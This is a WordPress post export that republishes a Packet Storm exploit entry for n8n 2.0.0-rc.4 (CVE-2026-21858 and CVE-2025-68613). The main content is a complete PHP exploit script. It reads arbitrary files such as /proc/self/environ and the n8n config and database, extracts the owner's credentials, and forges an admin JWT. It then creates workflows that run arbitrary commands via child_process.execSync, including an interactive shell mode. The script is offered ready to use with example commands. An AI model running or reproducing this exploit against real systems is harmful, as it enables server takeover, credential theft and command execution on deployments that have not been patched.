{"id":38351,"date":"2026-01-30T12:54:24","date_gmt":"2026-01-30T12:54:24","guid":{"rendered":"http:\/\/localhost\/?p=38351"},"modified":"2026-01-30T12:54:24","modified_gmt":"2026-01-30T12:54:24","slug":"n8n-200-rc4-remote-command-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=38351","title":{"rendered":"\ud83d\udcc4 n8n 2.0.0-rc.4 Remote Command Execution_PACKETSTORM:214620"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-30T17:48:29&#8243;,&#8221;description&#8221;:&#8221;n8n version 2.0.0-rc.4 PHP port of a research exploit that chains together multiple vulnerabilities including arbitrary file read and sandbox escape in order to achieve remote command execution&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-30T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-30T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 n8n 2.0.0-rc.4 Remote Command Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214620&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-68613&#8243;,&#8221;CVE-2026-21858&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : n8n 2.0.0-rc.4 Full chain exploit vulnerability                                                                             |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/docs.n8n.io\/release-notes\/                                                                                          |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/213586\/ \\u0026 CVE-2025-68613, CVE-2026-21858\\n    \\n    [+] Summary    : a PHP port of a research exploit targeting n8n, chaining multiple vulnerabilities to ultimately achieve remote command execution (RCE).\\t\\n    \\n    [+] PoC : php poc.php\\n    \\n    \\u003c?php\\n    \\n    define(&#8216;BANNER&#8217;, \\&#8221;\\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551     CVE-2026-21858 + CVE-2025-68613 &#8211; n8n Full Chain          \u2551\\n    \u2551     Arbitrary File Read \u2192 Token Forge \u2192 Sandbox Bypass \u2192 RCE  \u2551\\n    \u2551                                                               \u2551\\n    \u2551     by indoushka                                              \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n    \\&#8221;);\\n    \\n    define(&#8216;RCE_PAYLOAD&#8217;, &#8216;={{ (function() { var require = this.process.mainModule.require; var execSync = require(\\&#8221;child_process\\&#8221;).execSync; return execSync(\\&#8221;CMD\\&#8221;).toString(); })() }}&#8217;);\\n    \\n    class Ni8mare {\\n        private $base_url;\\n        private $form_url;\\n        private $session;\\n        private $admin_token;\\n        \\n        public function __construct($base_url, $form_path) {\\n            $this-\\u003ebase_url = rtrim($base_url, &#8216;\/&#8217;);\\n            $this-\\u003eform_url = $this-\\u003ebase_url . &#8216;\/&#8217; . ltrim($form_path, &#8216;\/&#8217;);\\n            $this-\\u003esession = $this-\\u003einit_session();\\n            $this-\\u003eadmin_token = null;\\n        }\\n        \\n        private function init_session() {\\n            $ch = curl_init();\\n            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\\n            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\\n            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\\n            curl_setopt($ch, CURLOPT_TIMEOUT, 30);\\n            curl_setopt($ch, CURLOPT_USERAGENT, &#8216;Mozilla\/5.0 (compatible; Ni8mare\/1.0)&#8217;);\\n            return $ch;\\n        }\\n        \\n        private function close_session() {\\n            if ($this-\\u003esession) {\\n                curl_close($this-\\u003esession);\\n            }\\n        }\\n        \\n        private function randstr($n = 12) {\\n            $chars = &#8216;abcdefghijklmnopqrstuvwxyz0123456789&#8217;;\\n            $result = &#8221;;\\n            for ($i = 0; $i \\u003c $n; $i++) {\\n                $result .= $chars[random_int(0, strlen($chars) &#8211; 1)];\\n            }\\n            return $result;\\n        }\\n        \\n        private function randpos() {\\n            return [random_int(100, 600), random_int(100, 600)];\\n        }\\n        \\n        private function api($method, $path, $options = []) {\\n            $url = $this-\\u003ebase_url . $path;\\n            $ch = curl_init($url);\\n            \\n            $headers = [&#8216;Content-Type: application\/json&#8217;];\\n            if ($this-\\u003eadmin_token) {\\n                $headers[] = &#8216;Cookie: n8n-auth=&#8217; . $this-\\u003eadmin_token;\\n            }\\n            \\n            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method));\\n            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\\n            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\\n            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\\n            curl_setopt($ch, CURLOPT_TIMEOUT, $options[&#8216;timeout&#8217;] ?? 30);\\n            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\\n            \\n            if (isset($options[&#8216;json&#8217;])) {\\n                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($options[&#8216;json&#8217;]));\\n            }\\n            \\n            $response = curl_exec($ch);\\n            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            curl_close($ch);\\n            \\n            if ($http_code \\u003e= 200 \\u0026\\u0026 $http_code \\u003c 300) {\\n                return json_decode($response, true);\\n            }\\n            \\n            return null;\\n        }\\n        \\n        private function lfi_payload($filepath) {\\n            return [\\n                &#8216;data&#8217; =\\u003e [],\\n                &#8216;files&#8217; =\\u003e [\\n                    &#8216;f-&#8216; . $this-\\u003erandstr(6) =\\u003e [\\n                        &#8216;filepath&#8217; =\\u003e $filepath,\\n                        &#8216;originalFilename&#8217; =\\u003e $this-\\u003erandstr(8) . &#8216;.bin&#8217;,\\n                        &#8216;mimetype&#8217; =\\u003e &#8216;application\/octet-stream&#8217;,\\n                        &#8216;size&#8217; =\\u003e random_int(10000, 100000)\\n                    ]\\n                ]\\n            ];\\n        }\\n        \\n        private function build_nodes($command) {\\n            $trigger_name = &#8216;T-&#8216; . $this-\\u003erandstr(8);\\n            $rce_name = &#8216;R-&#8216; . $this-\\u003erandstr(8);\\n            $result_var = &#8216;v&#8217; . $this-\\u003erandstr(6);\\n            $payload_value = str_replace(&#8216;CMD&#8217;, addslashes($command), RCE_PAYLOAD);\\n            \\n            $nodes = [\\n                [\\n                    &#8216;parameters&#8217; =\\u003e [],\\n                    &#8216;name&#8217; =\\u003e $trigger_name,\\n                    &#8216;type&#8217; =\\u003e &#8216;n8n-nodes-base.manualTrigger&#8217;,\\n                    &#8216;typeVersion&#8217; =\\u003e 1,\\n                    &#8216;position&#8217; =\\u003e $this-\\u003erandpos(),\\n                    &#8216;id&#8217; =\\u003e &#8216;t-&#8216; . $this-\\u003erandstr(12)\\n                ],\\n                [\\n                    &#8216;parameters&#8217; =\\u003e [\\n                        &#8216;values&#8217; =\\u003e [\\n                            &#8216;string&#8217; =\\u003e [[\\n                                &#8216;name&#8217; =\\u003e $result_var,\\n                                &#8216;value&#8217; =\\u003e $payload_value\\n                            ]]\\n                        ]\\n                    ],\\n                    &#8216;name&#8217; =\\u003e $rce_name,\\n                    &#8216;type&#8217; =\\u003e &#8216;n8n-nodes-base.set&#8217;,\\n                    &#8216;typeVersion&#8217; =\\u003e 2,\\n                    &#8216;position&#8217; =\\u003e $this-\\u003erandpos(),\\n                    &#8216;id&#8217; =\\u003e &#8216;r-&#8216; . $this-\\u003erandstr(12)\\n                ]\\n            ];\\n            \\n            $connections = [\\n                $trigger_name =\\u003e [\\n                    &#8216;main&#8217; =\\u003e [[\\n                        &#8216;node&#8217; =\\u003e $rce_name,\\n                        &#8216;type&#8217; =\\u003e &#8216;main&#8217;,\\n                        &#8216;index&#8217; =\\u003e 0\\n                    ]]\\n                ]\\n            ];\\n            \\n            return [$nodes, $connections, $trigger_name, $rce_name];\\n        }\\n            \\n        public function read_file($filepath, $timeout = 30) {\\n            $payload = $this-\\u003elfi_payload($filepath);\\n            \\n            $ch = $this-\\u003esession;\\n            curl_setopt($ch, CURLOPT_URL, $this-\\u003eform_url);\\n            curl_setopt($ch, CURLOPT_POST, true);\\n            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));\\n            curl_setopt($ch, CURLOPT_HTTPHEADER, [&#8216;Content-Type: application\/json&#8217;]);\\n            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);\\n            curl_setopt($ch, CURLOPT_HEADER, false);\\n            \\n            $response = curl_exec($ch);\\n            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            \\n            if ($http_code \\u003e= 200 \\u0026\\u0026 $http_code \\u003c 300 \\u0026\\u0026 !empty($response)) {\\n                return $response;\\n            }\\n            \\n            return null;\\n        }\\n        \\n        public function get_version() {\\n            $resp = $this-\\u003eapi(&#8216;GET&#8217;, &#8216;\/rest\/settings&#8217;, [&#8216;timeout&#8217; =\\u003e 10]);\\n            if (!$resp) {\\n                return [&#8216;0.0.0&#8217;, false];\\n            }\\n            \\n            $version = $resp[&#8216;data&#8217;][&#8216;versionCli&#8217;] ?? &#8216;0.0.0&#8217;;\\n            $parts = explode(&#8216;.&#8217;, $version);\\n            $major = intval($parts[0] ?? 0);\\n            $minor = intval($parts[1] ?? 0);\\n            \\n            $vuln = $major \\u003c 1 || ($major == 1 \\u0026\\u0026 $minor \\u003c 121);\\n            return [$version, $vuln];\\n        }\\n        \\n        public function get_home() {\\n            $data = $this-\\u003eread_file(&#8216;\/proc\/self\/environ&#8217;);\\n            if (!$data) {\\n                return null;\\n            }\\n            \\n            $vars = explode(\\&#8221;\\\\x00\\&#8221;, $data);\\n            foreach ($vars as $var) {\\n                if (strpos($var, &#8216;HOME=&#8217;) === 0) {\\n                    return substr($var, 5);\\n                }\\n            }\\n            \\n            return null;\\n        }\\n        \\n        public function get_key($home) {\\n            $data = $this-\\u003eread_file($home . &#8216;\/.n8n\/config&#8217;);\\n            if (!$data) {\\n                return null;\\n            }\\n            \\n            $config = json_decode($data, true);\\n            return $config[&#8216;encryptionKey&#8217;] ?? null;\\n        }\\n        \\n        public function get_db($home) {\\n            return $this-\\u003eread_file($home . &#8216;\/.n8n\/database.sqlite&#8217;, 120);\\n        }\\n        \\n        public function extract_admin($db) {\\n            $temp_file = tempnam(sys_get_temp_dir(), &#8216;n8n_db_&#8217;);\\n            file_put_contents($temp_file, $db);\\n            \\n            try {\\n                $pdo = new PDO(\\&#8221;sqlite:$temp_file\\&#8221;);\\n                $pdo-\\u003esetAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\\n                \\n                $stmt = $pdo-\\u003equery(\\&#8221;SELECT id, email, password FROM user WHERE role=&#8217;global:owner&#8217; LIMIT 1\\&#8221;);\\n                $row = $stmt-\\u003efetch(PDO::FETCH_ASSOC);\\n                \\n                unlink($temp_file);\\n                \\n                if ($row) {\\n                    return [$row[&#8216;id&#8217;], $row[&#8217;email&#8217;], $row[&#8216;password&#8217;]];\\n                }\\n            } catch (Exception $e) {\\n                if (file_exists($temp_file)) {\\n                    unlink($temp_file);\\n                }\\n            }\\n            \\n            return null;\\n        }\\n        \\n        public function forge_token($key, $uid, $email, $pw_hash) {\\n    \\n            $key_part = &#8221;;\\n            for ($i = 0; $i \\u003c strlen($key); $i += 2) {\\n                $key_part .= $key[$i];\\n            }\\n            \\n            $secret = hash(&#8216;sha256&#8217;, $key_part);\\n            $hash_input = $email . &#8216;:&#8217; . $pw_hash;\\n            $h = substr(base64_encode(hash(&#8216;sha256&#8217;, $hash_input, true)), 0, 10);\\n    \\n            $header = base64_encode(json_encode([&#8216;alg&#8217; =\\u003e &#8216;HS256&#8217;, &#8216;typ&#8217; =\\u003e &#8216;JWT&#8217;]));\\n            $payload = base64_encode(json_encode([&#8216;id&#8217; =\\u003e $uid, &#8216;hash&#8217; =\\u003e $h]));\\n            $signature = base64_encode(hash_hmac(&#8216;sha256&#8217;, \\&#8221;$header.$payload\\&#8221;, $secret, true));\\n            \\n            $this-\\u003eadmin_token = \\&#8221;$header.$payload.$signature\\&#8221;;\\n            return $this-\\u003eadmin_token;\\n        }\\n        \\n        public function verify_token() {\\n            return $this-\\u003eapi(&#8216;GET&#8217;, &#8216;\/rest\/users&#8217;, [&#8216;timeout&#8217; =\\u003e 10]) !== null;\\n        }\\n            \\n        public function rce($command) {\\n            list($nodes, $connections, $trigger_name, $rce_name) = $this-\\u003ebuild_nodes($command);\\n            $wf_name = &#8216;wf-&#8216; . $this-\\u003erandstr(16);\\n            \\n            $workflow = [\\n                &#8216;name&#8217; =\\u003e $wf_name,\\n                &#8216;active&#8217; =\\u003e false,\\n                &#8216;nodes&#8217; =\\u003e $nodes,\\n                &#8216;connections&#8217; =\\u003e $connections,\\n                &#8216;settings&#8217; =\\u003e []\\n            ];\\n            \\n            $resp = $this-\\u003eapi(&#8216;POST&#8217;, &#8216;\/rest\/workflows&#8217;, [&#8216;json&#8217; =\\u003e $workflow, &#8216;timeout&#8217; =\\u003e 10]);\\n            if (!$resp) {\\n                return null;\\n            }\\n            \\n            $wf_id = $resp[&#8216;data&#8217;][&#8216;id&#8217;] ?? null;\\n            if (!$wf_id) {\\n                return null;\\n            }\\n            \\n            $run_data = [\\n                &#8216;workflowData&#8217; =\\u003e [\\n                    &#8216;id&#8217; =\\u003e $wf_id,\\n                    &#8216;name&#8217; =\\u003e $wf_name,\\n                    &#8216;active&#8217; =\\u003e false,\\n                    &#8216;nodes&#8217; =\\u003e $nodes,\\n                    &#8216;connections&#8217; =\\u003e $connections,\\n                    &#8216;settings&#8217; =\\u003e []\\n                ]\\n            ];\\n            \\n            $resp = $this-\\u003eapi(&#8216;POST&#8217;, \\&#8221;\/rest\/workflows\/$wf_id\/run\\&#8221;, [&#8216;json&#8217; =\\u003e $run_data, &#8216;timeout&#8217; =\\u003e 30]);\\n            if (!$resp) {\\n                $this-\\u003eapi(&#8216;DELETE&#8217;, \\&#8221;\/rest\/workflows\/$wf_id\\&#8221;, [&#8216;timeout&#8217; =\\u003e 5]);\\n                return null;\\n            }\\n            \\n            $exec_id = $resp[&#8216;data&#8217;][&#8216;executionId&#8217;] ?? null;\\n            $result = $exec_id ? $this-\\u003eget_result($exec_id) : null;\\n            \\n            $this-\\u003eapi(&#8216;DELETE&#8217;, \\&#8221;\/rest\/workflows\/$wf_id\\&#8221;, [&#8216;timeout&#8217; =\\u003e 5]);\\n            return $result;\\n        }\\n        \\n        private function get_result($exec_id) {\\n            $resp = $this-\\u003eapi(&#8216;GET&#8217;, \\&#8221;\/rest\/executions\/$exec_id\\&#8221;, [&#8216;timeout&#8217; =\\u003e 10]);\\n            if (!$resp) {\\n                return null;\\n            }\\n            \\n            $data = $resp[&#8216;data&#8217;][&#8216;data&#8217;] ?? null;\\n            if (!$data) {\\n                return null;\\n            }\\n            \\n            \/\/ Handle both cases: string JSON or already decoded array\\n            if (is_string($data)) {\\n                $parsed = json_decode($data, true);\\n            } else {\\n                $parsed = $data;\\n            }\\n            \\n            if (!is_array($parsed)) {\\n                return null;\\n            }\\n            \\n            \/\/ Search for the result in reverse order\\n            for ($i = count($parsed) &#8211; 1; $i \\u003e= 0; $i&#8211;) {\\n                if (isset($parsed[$i]) \\u0026\\u0026 is_string($parsed[$i])) {\\n                    $item = $parsed[$i];\\n                    if (strlen($item) \\u003e 3 \\u0026\\u0026 !in_array($item, [&#8216;success&#8217;, &#8216;error&#8217;])) {\\n                        return trim($item);\\n                    }\\n                }\\n            }\\n            \\n            return null;\\n        }\\n         \\n        public function pwn() {\\n            echo \\&#8221;[+] HOME directory&#8230; \\&#8221;;\\n            $home = $this-\\u003eget_home();\\n            if (!$home) {\\n                echo \\&#8221;FAILED\\\\n\\&#8221;;\\n                return false;\\n            }\\n            echo \\&#8221;OK: $home\\\\n\\&#8221;;\\n            \\n            echo \\&#8221;[+] Encryption key&#8230; \\&#8221;;\\n            $key = $this-\\u003eget_key($home);\\n            if (!$key) {\\n                echo \\&#8221;FAILED\\\\n\\&#8221;;\\n                return false;\\n            }\\n            echo \\&#8221;OK: \\&#8221; . substr($key, 0, 8) . \\&#8221;&#8230;\\\\n\\&#8221;;\\n            \\n            echo \\&#8221;[+] Database&#8230; \\&#8221;;\\n            $db = $this-\\u003eget_db($home);\\n            if (!$db) {\\n                echo \\&#8221;FAILED\\\\n\\&#8221;;\\n                return false;\\n            }\\n            echo \\&#8221;OK: \\&#8221; . strlen($db) . \\&#8221; bytes\\\\n\\&#8221;;\\n            \\n            echo \\&#8221;[+] Admin user&#8230; \\&#8221;;\\n            $admin = $this-\\u003eextract_admin($db);\\n            if (!$admin) {\\n                echo \\&#8221;FAILED\\\\n\\&#8221;;\\n                return false;\\n            }\\n            list($uid, $email, $pw) = $admin;\\n            echo \\&#8221;OK: $email\\\\n\\&#8221;;\\n            \\n            echo \\&#8221;[+] Token forge&#8230; \\&#8221;;\\n            $this-\\u003eforge_token($key, $uid, $email, $pw);\\n            echo \\&#8221;OK\\\\n\\&#8221;;\\n            \\n            echo \\&#8221;[+] Admin access&#8230; \\&#8221;;\\n            if (!$this-\\u003everify_token()) {\\n                echo \\&#8221;DENIED\\\\n\\&#8221;;\\n                return false;\\n            }\\n            echo \\&#8221;GRANTED!\\\\n\\&#8221;;\\n            \\n            echo \\&#8221;[+] Cookie: n8n-auth=\\&#8221; . $this-\\u003eadmin_token . \\&#8221;\\\\n\\&#8221;;\\n            return true;\\n        }\\n        \\n        public function __destruct() {\\n            $this-\\u003eclose_session();\\n        }\\n    }\\n    \\n    function run_read($exploit, $path, $output = null) {\\n        $data = $exploit-\\u003eread_file($path);\\n        if (!$data) {\\n            echo \\&#8221;[-] File read failed\\\\n\\&#8221;;\\n            return;\\n        }\\n        \\n        echo \\&#8221;[+] \\&#8221; . strlen($data) . \\&#8221; bytes\\\\n\\&#8221;;\\n        \\n        if ($output) {\\n            file_put_contents($output, $data);\\n            echo \\&#8221;[+] Saved to: $output\\\\n\\&#8221;;\\n            return;\\n        }\\n        \\n        echo $data . \\&#8221;\\\\n\\&#8221;;\\n    }\\n    \\n    function run_cmd($exploit, $cmd) {\\n        echo \\&#8221;[+] RCE&#8230; \\&#8221;;\\n        $out = $exploit-\\u003erce($cmd);\\n        if (!$out) {\\n            echo \\&#8221;FAILED\\\\n\\&#8221;;\\n            return;\\n        }\\n        echo \\&#8221;OK\\\\n\\\\n\\&#8221;;\\n        echo $out . \\&#8221;\\\\n\\&#8221;;\\n    }\\n    \\n    function run_shell($exploit) {\\n        echo \\&#8221;[*] Interactive mode (type &#8216;exit&#8217; to quit)\\\\n\\&#8221;;\\n        \\n        while (true) {\\n            echo \\&#8221;\\\\033[91mn8n\\\\033[0m\\u003e \\&#8221;;\\n            $cmd = trim(fgets(STDIN));\\n            \\n            if (empty($cmd) || $cmd === &#8216;exit&#8217;) {\\n                break;\\n            }\\n            \\n            $out = $exploit-\\u003erce($cmd);\\n            if ($out) {\\n                echo $out . \\&#8221;\\\\n\\&#8221;;\\n            }\\n        }\\n    }\\n    \\n    function parse_args() {\\n        global $argv;\\n        \\n        if (count($argv) \\u003c 3) {\\n            echo \\&#8221;Usage: php \\&#8221; . basename($argv[0]) . \\&#8221; \\u003curl\\u003e \\u003cform_path\\u003e [options]\\\\n\\&#8221;;\\n            echo \\&#8221;Options:\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;read PATH     Read arbitrary file\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;cmd CMD       Execute single command\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;output FILE   Save LFI output to file\\\\n\\&#8221;;\\n            echo \\&#8221;\\\\nExample:\\\\n\\&#8221;;\\n            echo \\&#8221;  php exploit.php http:\/\/localhost:5678 \/form\/upload &#8211;read \/etc\/passwd\\\\n\\&#8221;;\\n            echo \\&#8221;  php exploit.php http:\/\/localhost:5678 \/form\/upload &#8211;cmd id\\\\n\\&#8221;;\\n            echo \\&#8221;  php exploit.php http:\/\/localhost:5678 \/form\/upload\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $args = [\\n            &#8216;url&#8217; =\\u003e $argv[1],\\n            &#8216;form&#8217; =\\u003e $argv[2],\\n            &#8216;read&#8217; =\\u003e null,\\n            &#8216;cmd&#8217; =\\u003e null,\\n            &#8216;output&#8217; =\\u003e null\\n        ];\\n        \\n        for ($i = 3; $i \\u003c count($argv); $i++) {\\n            if ($argv[$i] === &#8216;&#8211;read&#8217; \\u0026\\u0026 isset($argv[$i + 1])) {\\n                $args[&#8216;read&#8217;] = $argv[++$i];\\n            } elseif ($argv[$i] === &#8216;&#8211;cmd&#8217; \\u0026\\u0026 isset($argv[$i + 1])) {\\n                $args[&#8216;cmd&#8217;] = $argv[++$i];\\n            } elseif ($argv[$i] === &#8216;&#8211;output&#8217; \\u0026\\u0026 isset($argv[$i + 1])) {\\n                $args[&#8216;output&#8217;] = $argv[++$i];\\n            }\\n        }\\n        \\n        return $args;\\n    }\\n    \\n    function main() {\\n        echo BANNER . \\&#8221;\\\\n\\&#8221;;\\n        \\n        $args = parse_args();\\n        $exploit = new Ni8mare($args[&#8216;url&#8217;], $args[&#8216;form&#8217;]);\\n        \\n        list($version, $vuln) = $exploit-\\u003eget_version();\\n        echo \\&#8221;[*] Target: \\&#8221; . $args[&#8216;url&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n        echo \\&#8221;[*] Version: $version (\\&#8221; . ($vuln ? \\&#8221;VULN\\&#8221; : \\&#8221;SAFE\\&#8221;) . \\&#8221;)\\\\n\\&#8221;;\\n        \\n        if ($args[&#8216;read&#8217;]) {\\n            run_read($exploit, $args[&#8216;read&#8217;], $args[&#8216;output&#8217;]);\\n            return;\\n        }\\n        \\n        if (!$exploit-\\u003epwn()) {\\n            return;\\n        }\\n        \\n        if ($args[&#8216;cmd&#8217;]) {\\n            run_cmd($exploit, $args[&#8216;cmd&#8217;]);\\n            return;\\n        }\\n        \\n        run_shell($exploit);\\n    }\\n    \\n    if (php_sapi_name() === &#8216;cli&#8217;) {\\n        main();\\n    } else {\\n        echo \\&#8221;This script must be run from command line\\\\n\\&#8221;;\\n    }\\n    \\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214620&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214620\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-30T17:48:29&#8243;,&#8221;description&#8221;:&#8221;n8n version 2.0.0-rc.4 PHP port of a research exploit that chains together multiple vulnerabilities including arbitrary file read and sandbox escape in order to achieve&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-38351","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 n8n 2.0.0-rc.4 Remote Command Execution_PACKETSTORM:214620 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=38351\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 n8n 2.0.0-rc.4 Remote Command Execution_PACKETSTORM:214620 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-30T17:48:29&#8243;,&#8221;description&#8221;:&#8221;n8n version 2.0.0-rc.4 PHP port of a research exploit that chains together multiple vulnerabilities including arbitrary file read and sandbox escape in order to achieve...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=38351\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-30T12:54:24+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38351#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38351\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 n8n 2.0.0-rc.4 Remote Command 